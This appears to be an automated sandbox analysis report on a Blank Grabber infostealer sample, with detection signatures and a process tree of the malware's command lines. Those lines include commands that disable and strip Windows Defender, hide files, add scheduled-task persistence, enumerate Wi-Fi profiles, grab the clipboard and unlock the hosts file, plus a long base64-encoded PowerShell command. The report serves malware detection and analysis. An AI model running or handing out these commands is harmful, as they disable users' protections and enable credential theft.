Edit tour

Windows Analysis Report
6tGWMkdYv4.exe

Overview

General Information

Sample name:	6tGWMkdYv4.exe renamed because original name is a hash value
Original sample name:	34cb7fca8cb671327865d0bcf6de72bc.exe
Analysis ID:	1460297
MD5:	34cb7fca8cb671327865d0bcf6de72bc
SHA1:	f0b1cedace31b386c893530e6dce75c2ecfef083
SHA256:	a6a27d9ba682a107558cdb16fcd50ebbe3d112c8dab38e96d5926c522781cc81
Tags:	BlankGrabberexe
Infos:

Detection

Blank Grabber

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

Snort IDS alert for network traffic

Yara detected Blank Grabber

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Bypasses PowerShell execution policy

Creates an undocumented autostart registry key

Creates multiple autostart registry keys

Creates processes via WMI

Disable UAC(promptonsecuredesktop)

Disables UAC (registry)

Drops PE files to the user root directory

Encrypted powershell cmdline option found

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies Windows Defender protection settings

Modifies existing user documents (likely ransomware behavior)

Modifies the hosts file

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Removes signatures from Windows Defender

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Powershell Defender Disable Scan Feature

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: Suspicious Startup Folder Persistence

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses attrib.exe to hide files

Uses cmd line tools excessively to alter registry or file data

Uses netsh to modify the Windows network and firewall settings

Uses schtasks.exe or at.exe to add and modify task schedules

Uses the Telegram API (likely for C&C communication)

Very long command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes or reads registry keys via WMI

Wscript starts Powershell (via cmd or directly)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates a window with clipboard capturing capabilities

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops PE files to the user directory

Enables debug privileges

File is packed with WinRar

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: CurrentVersion NT Autorun Keys Modification

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Sigma detected: Powershell Defender Exclusion

Sigma detected: SCR File Write Event

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Suspicious Screensaver Binary File Creation

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Too many similar processes found

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

6tGWMkdYv4.exe (PID: 1896 cmdline: "C:\Users\user\Desktop\6tGWMkdYv4.exe" MD5: 34CB7FCA8CB671327865D0BCF6DE72BC)

x10.exe (PID: 6188 cmdline: "C:\Users\user\AppData\Local\Temp\x10.exe" MD5: B93FC536DF3C66E783FCBB9071DB7545)

x9.exe (PID: 3692 cmdline: "C:\Users\user\AppData\Local\Temp\x9.exe" MD5: 7E5F18A5C7EB009E54AE4FC6127E864C)

x8.exe (PID: 3568 cmdline: "C:\Users\user\AppData\Local\Temp\x8.exe" MD5: DD97AAB085B140B715DD1A52038E3C70)

x7.exe (PID: 3712 cmdline: "C:\Users\user\AppData\Local\Temp\x7.exe" MD5: 0E9FEE8861C55C0EBADC5F678FBD8A9A)

x6.exe (PID: 6532 cmdline: "C:\Users\user\AppData\Local\Temp\x6.exe" MD5: 61F5D17C10DE6541139134FB7058F88E)

x5.exe (PID: 5244 cmdline: "C:\Users\user\AppData\Local\Temp\x5.exe" MD5: 8DBEE0CB9B7550432DF6BEB4D9EA5CF0)

x4.exe (PID: 6772 cmdline: "C:\Users\user\AppData\Local\Temp\x4.exe" MD5: 609A00E116060457295CE9293E6E3B3E)

CheatLauncherV2.exe (PID: 5748 cmdline: "C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe" MD5: 108590051FAB4871AF861B8B12AD1E96)

DCRatBuild.exe (PID: 5860 cmdline: "C:\Users\user\AppData\Local\Temp\DCRatBuild.exe" MD5: 2EDB71DD3792B6F6A774EDBF67BB78D2)

wscript.exe (PID: 2504 cmdline: "C:\Windows\System32\WScript.exe" "C:\agentInto\ygzWE.vbe" MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 7488 cmdline: C:\Windows\system32\cmd.exe /c ""C:\agentInto\pR9EprN9daTFn7S7o.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4708 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

fontsessionruntime.exe (PID: 4676 cmdline: "C:\agentInto\fontsessionruntime.exe" MD5: 6CF5F23F1C8CA3BC6342506BAAC300DA)

schtasks.exe (PID: 7548 cmdline: schtasks.exe /create /tn "bMCzMxeQsbb" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\java\jre-1.8\lib\bMCzMxeQsb.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

Built.exe (PID: 652 cmdline: "C:\Users\user\AppData\Local\Temp\Built.exe" MD5: 68D3EA3AFA53DEDFD3593D140747B932)

Built.exe (PID: 6648 cmdline: "C:\Users\user\AppData\Local\Temp\Built.exe" MD5: 68D3EA3AFA53DEDFD3593D140747B932)

cmd.exe (PID: 3996 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2072 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 3504 cmdline: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4436 cmdline: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 4128 cmdline: C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\Temp\Built.exe"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6660 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 5296 cmdline: attrib +h +s "C:\Users\user\AppData\Local\Temp\Built.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

cmd.exe (PID: 4820 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2884 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 2604 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 360 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 5676 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 320 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 2448 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7212 cmdline: C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7240 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7512 cmdline: WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 7256 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7740 cmdline: powershell Get-Clipboard MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7272 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7380 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7764 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7304 cmdline: C:\Windows\system32\cmd.exe /c "netsh wlan show profile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7400 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 7756 cmdline: netsh wlan show profile MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

cmd.exe (PID: 7320 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7456 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 7860 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 7344 cmdline: C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 7732 cmdline: REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 7364 cmdline: C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7844 cmdline: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA= MD5: 04029E121A0CFA5991749937DD22A1D9)

csc.exe (PID: 8052 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ym2mlmby\ym2mlmby.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 2676 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF33B.tmp" "c:\Users\user\AppData\Local\Temp\ym2mlmby\CSCF71E4593383143BF89859CE8A82A5373.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

Conhost.exe (PID: 7984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 7828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7372 cmdline: C:\Windows\system32\cmd.exe /c "systeminfo" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

systeminfo.exe (PID: 7724 cmdline: systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD)

cmd.exe (PID: 8008 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8044 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 8108 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 8144 cmdline: C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8168 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

